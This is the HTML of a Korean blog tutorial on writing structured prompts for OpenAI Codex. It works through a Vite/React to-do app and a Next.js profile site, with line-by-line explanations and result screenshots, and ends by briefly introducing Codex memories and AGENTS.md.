&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;852&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CIbRF/dJMcagSXNpF/Z7sia8YTyX57XBR3RUDQOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CIbRF/dJMcagSXNpF/Z7sia8YTyX57XBR3RUDQOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CIbRF/dJMcagSXNpF/Z7sia8YTyX57XBR3RUDQOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCIbRF%2FdJMcagSXNpF%2FZ7sia8YTyX57XBR3RUDQOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1948&quot; height=&quot;852&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;852&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1674&quot; data-origin-height=&quot;1894&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccj6hp/dJMcahqOo5N/ALcWCiYeDqrkVkbp8tv9yK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccj6hp/dJMcahqOo5N/ALcWCiYeDqrkVkbp8tv9yK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccj6hp/dJMcahqOo5N/ALcWCiYeDqrkVkbp8tv9yK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fccj6hp%2FdJMcahqOo5N%2FALcWCiYeDqrkVkbp8tv9yK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;620&quot; data-origin-width=&quot;1674&quot; data-origin-height=&quot;1894&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 B &amp;mdash; React로 할 일 목록 앱 만들기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 React를 배울 때 가장 많이 만드는 게 할 일 목록이다. 상태 관리와 이벤트 처리 두 가지를 익히기에 딱 맞다. 백엔드는 없어도 된다.&lt;/p&gt;
&lt;pre class=&quot;http&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Goal:
Vite + React로 간단한 할 일 목록(To-do) 앱을 만들어라.

Setup:
프로젝트가 없다면 아래 명령으로 만든다:
  npm create vite@latest my-todo-app -- --template react
  cd my-todo-app &amp;amp;&amp;amp; npm install

Features:
- 입력창에 할 일을 입력하고 버튼(또는 Enter)으로 추가한다
- 각 항목에 완료 체크박스와 삭제 버튼이 있다
- 완료된 항목은 텍스트에 취소선이 생긴다

Constraints:
- 상태 관리는 useState만 쓴다 (Redux, Context, Zustand 불필요)
- 백엔드와 데이터베이스 없이 컴포넌트 상태로만 동작한다
- 스타일은 App.css 파일 하나에 간단히 작성한다

Completion:
npm run dev 실행 후 http://localhost:5173 에서
할 일 추가 &amp;rarr; 체크 &amp;rarr; 삭제 순서로 동작하는지 확인한다.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 줄별 해설&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Setup 줄&lt;/b&gt;: &quot;Vite + React&quot;로 기술 스택을 고정했다. 이 줄이 없으면 Codex가 Create React App, Next.js, Parcel 중에서 하나를 알아서 골라 만들어 온다. 처음엔 어떤 차이인지 파악하기 어려우니 그냥 막막해진다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Features의 구체성&lt;/b&gt;: &quot;CRUD 기능을 구현해라&quot;보다 &quot;버튼 또는 Enter로 추가, 체크박스로 완료, 삭제 버튼&quot;처럼 UI 동작을 써주면 Codex가 빠뜨리는 기능이 줄어든다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Constraints의 핵심 줄&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;useState만 쓴다&quot;&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;백엔드 없이&quot;&lt;/code&gt;. 이 두 줄을 빠뜨리면 Redux Toolkit에 Firebase까지 붙여 오는 경우가 생긴다. 초보자에겐 지금 당장 필요 없는 것들이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Completion&lt;/b&gt;: &quot;추가 &amp;rarr; 체크 &amp;rarr; 삭제 순서로&quot;처럼 시나리오를 주면 Codex가 어떤 흐름으로 테스트해야 하는지 명확하게 안다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f3e5f5; border-left: 4px solid #9c27b0; padding: 14px 18px; margin: 16px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;여러분이 직접 해보자 &amp;mdash; 바이브 코딩 버전&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;구조 몰라도 된다. 이 한 줄을 그대로 Codex에 붙여넣어 보자.&lt;/p&gt;
&lt;pre class=&quot;erlang&quot; style=&quot;background: #2d2d2d; color: #f8f8f2; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.7; margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;React로 할 일 목록 앱 만들어줘. 추가, 완료 체크, 삭제 되는 거. useState만 써.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 결과 요약&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 직접 서버를 띄우고, 브라우저까지 띄워 테스트 완료 하였다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1946&quot; data-origin-height=&quot;1224&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cV9MVo/dJMb99M1NAi/xK3Xk4dAg0rhj8OLk7bxyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cV9MVo/dJMb99M1NAi/xK3Xk4dAg0rhj8OLk7bxyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cV9MVo/dJMb99M1NAi/xK3Xk4dAg0rhj8OLk7bxyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcV9MVo%2FdJMb99M1NAi%2FxK3Xk4dAg0rhj8OLk7bxyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1946&quot; height=&quot;1224&quot; data-origin-width=&quot;1946&quot; data-origin-height=&quot;1224&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 완료 결과 보고&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;474&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DGoXM/dJMcaipHSIU/u5w1dRRVIBKukF4A1DQcBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DGoXM/dJMcaipHSIU/u5w1dRRVIBKukF4A1DQcBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DGoXM/dJMcaipHSIU/u5w1dRRVIBKukF4A1DQcBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDGoXM%2FdJMcaipHSIU%2Fu5w1dRRVIBKukF4A1DQcBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1958&quot; height=&quot;474&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;474&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 직접 브라우저로 결과 확인&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1018&quot; data-origin-height=&quot;428&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/djx4aV/dJMcaaLZaJT/evNe8KxsRxt8jETDue3O2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/djx4aV/dJMcaaLZaJT/evNe8KxsRxt8jETDue3O2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/djx4aV/dJMcaaLZaJT/evNe8KxsRxt8jETDue3O2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdjx4aV%2FdJMcaaLZaJT%2FevNe8KxsRxt8jETDue3O2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1018&quot; height=&quot;428&quot; data-origin-width=&quot;1018&quot; data-origin-height=&quot;428&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;980&quot; data-origin-height=&quot;836&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLbvNY/dJMcabRDvfC/S7QbRW5wWsXadKdEm2wiPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLbvNY/dJMcabRDvfC/S7QbRW5wWsXadKdEm2wiPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLbvNY/dJMcabRDvfC/S7QbRW5wWsXadKdEm2wiPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLbvNY%2FdJMcabRDvfC%2FS7QbRW5wWsXadKdEm2wiPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;980&quot; height=&quot;836&quot; data-origin-width=&quot;980&quot; data-origin-height=&quot;836&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 C &amp;mdash; Next.js로 간단한 소개 페이지 만들기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Next.js는 React 기반 프레임워크다. 배포가 쉽고 SEO 설정이 편리해 개인 포트폴리오나 소개 페이지를 만들 때 많이 쓴다. 백엔드 없이 정적 페이지 2개만 만드는 것부터 시작하자.&lt;/p&gt;
&lt;pre class=&quot;http&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Goal:
Next.js로 간단한 개인 소개 사이트를 만들어라.

Setup:
프로젝트가 없다면 아래 명령으로 만든다:
  npx create-next-app@latest my-profile --app --tailwind --no-src-dir --no-typescript
  cd my-profile

Pages:
- app/page.js (홈): 이름, 한 줄 소개, 간단한 자기소개 문단
- app/about/page.js (소개): 기술 스택 목록 (HTML, CSS, JavaScript 등)

Navigation:
- 상단에 &quot;홈&quot;과 &quot;소개&quot; 페이지를 오가는 링크를 넣는다

Constraints:
- 데이터베이스 없음, 로그인 없음, 서버 API 없음
- 정적 페이지 2개와 nav만 만든다
- Tailwind CSS로 간단히 스타일을 입힌다

Completion:
npm run dev 후 홈과 소개 페이지 이동이 되는지,
nav 링크가 양쪽 방향으로 동작하는지 확인한다.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 줄별 해설&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Setup 플래그들&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--app&lt;/code&gt;(App Router 사용), &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--tailwind&lt;/code&gt;(Tailwind 포함), &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--no-typescript&lt;/code&gt;(TypeScript 제외). 플래그를 생략하면 Codex가 추측해서 TypeScript 파일로 만들어 올 수 있다. 초보자라면 TypeScript는 나중에 배워도 늦지 않는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Pages 줄&lt;/b&gt;: 파일 경로(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;app/page.js&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;app/about/page.js&lt;/code&gt;)를 명시했다. &quot;소개 페이지도 만들어줘&quot;보다 경로까지 주면 Codex가 어디에 파일을 만들지 결정하지 않아도 된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Constraints의 &quot;없음 3가지&quot;&lt;/b&gt;: 데이터베이스 없음, 로그인 없음, 서버 API 없음. 이 세 줄이 핵심이다. 안 적으면 &quot;소개 페이지&quot;라는 말에 Codex가 서버 컴포넌트나 API Route까지 만들어 올 수 있다. 지금 필요한 건 정적 페이지뿐이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Completion의 &quot;양쪽 방향으로&quot;&lt;/b&gt;: nav 링크를 홈&amp;rarr;소개, 소개&amp;rarr;홈 둘 다 눌러보라는 뜻이다. 이렇게 적으면 Codex가 한쪽 링크만 만들어두고 완료라고 할 가능성이 줄어든다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f3e5f5; border-left: 4px solid #9c27b0; padding: 14px 18px; margin: 16px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;여러분이 직접 해보자 &amp;mdash; 바이브 코딩 버전&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;구조 몰라도 된다. 이 한 줄을 그대로 Codex에 붙여넣어 보자.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background: #2d2d2d; color: #f8f8f2; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.7; margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;Next.js로 내 소개 페이지 만들어줘. 홈이랑 소개 탭 두 개, Tailwind로 예쁘게.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 결과 요약&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 직접 서버를 띄우고, 브라우저까지 띄워 테스트 완료 하였다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1344&quot; data-origin-height=&quot;552&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2lODe/dJMb997mFDM/ee98lvEJano6qTBYKkEFOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2lODe/dJMb997mFDM/ee98lvEJano6qTBYKkEFOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2lODe/dJMb997mFDM/ee98lvEJano6qTBYKkEFOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2lODe%2FdJMb997mFDM%2Fee98lvEJano6qTBYKkEFOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1344&quot; height=&quot;552&quot; data-origin-width=&quot;1344&quot; data-origin-height=&quot;552&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 결과&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1770&quot; data-origin-height=&quot;852&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btXawg/dJMb990DdaG/MFIy41Tzy8xSYsC35HVDd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btXawg/dJMb990DdaG/MFIy41Tzy8xSYsC35HVDd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btXawg/dJMb990DdaG/MFIy41Tzy8xSYsC35HVDd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtXawg%2FdJMb990DdaG%2FMFIy41Tzy8xSYsC35HVDd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1770&quot; height=&quot;852&quot; data-origin-width=&quot;1770&quot; data-origin-height=&quot;852&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1644&quot; data-origin-height=&quot;896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNVfsR/dJMcagk6rmo/uLSKTlx14B2OXrLiTODAB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNVfsR/dJMcagk6rmo/uLSKTlx14B2OXrLiTODAB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNVfsR/dJMcagk6rmo/uLSKTlx14B2OXrLiTODAB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNVfsR%2FdJMcagk6rmo%2FuLSKTlx14B2OXrLiTODAB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1644&quot; height=&quot;896&quot; data-origin-width=&quot;1644&quot; data-origin-height=&quot;896&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 한방에 끝내기 하쉽다면 여기서 계속 개선 사항을 요구하여 이어 나가면 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 지금&amp;nbsp;결과를&amp;nbsp;목&amp;nbsp;데이터로&amp;nbsp;채워도&amp;nbsp;상관없으니,&amp;nbsp;디자인&amp;nbsp;개선을&amp;nbsp;하고싶은데&amp;nbsp;사람인&amp;nbsp;스타일&amp;nbsp;또는&amp;nbsp;링크드인&amp;nbsp;스타일로&amp;nbsp;변경해줘&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;788&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zROvb/dJMcag6uw3n/sAc1Pq4YDuR6irng6ASJZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zROvb/dJMcag6uw3n/sAc1Pq4YDuR6irng6ASJZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zROvb/dJMcag6uw3n/sAc1Pq4YDuR6irng6ASJZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzROvb%2FdJMcag6uw3n%2FsAc1Pq4YDuR6irng6ASJZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1948&quot; height=&quot;788&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;788&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 개선 결과&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1928&quot; data-origin-height=&quot;1578&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KcfJE/dJMcacwg64o/kmxx1UgJTkPzeAPmfebw4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KcfJE/dJMcacwg64o/kmxx1UgJTkPzeAPmfebw4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KcfJE/dJMcacwg64o/kmxx1UgJTkPzeAPmfebw4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKcfJE%2FdJMcacwg64o%2Fkmxx1UgJTkPzeAPmfebw4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1928&quot; height=&quot;1578&quot; data-origin-width=&quot;1928&quot; data-origin-height=&quot;1578&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1812&quot; data-origin-height=&quot;1538&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDJbT8/dJMcagyDbtK/H8CGBFvC33rOKxhVK5KQvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDJbT8/dJMcagyDbtK/H8CGBFvC33rOKxhVK5KQvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDJbT8/dJMcagyDbtK/H8CGBFvC33rOKxhVK5KQvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDJbT8%2FdJMcagyDbtK%2FH8CGBFvC33rOKxhVK5KQvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1812&quot; height=&quot;1538&quot; data-origin-width=&quot;1812&quot; data-origin-height=&quot;1538&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;세 예시에서 반복된 패턴&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;기술 스택과 파일 구조를 명시하고, 제약 조건으로 범위를 좁히고, 완료 기준을 구체적으로 준다. 이 세 가지만 챙겨도 Codex가 &quot;알아서 결정&quot;하는 일이 크게 줄어든다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 2 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 메모리(Memories) &amp;mdash; AGENTS.md와 로컬 메모리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex에는 &lt;b&gt;메모리&lt;/b&gt;와 &lt;b&gt;AGENTS.md&lt;/b&gt; 같은 지속 지침이 따로 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리는 이전 대화의 맥락을 이어 주고, AGENTS.md는 작업할 때 따라야 할 지침을 담는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘 다 Codex에게 배경지식을 주지만, 쓰임새는 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;( 해당 세션은 중요한 주제인데, 초반에 무겁게 다루기엔 어려운 내용이니 최대한 간단히 알아보고 나중에 자세히 다루기로 한다. )&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
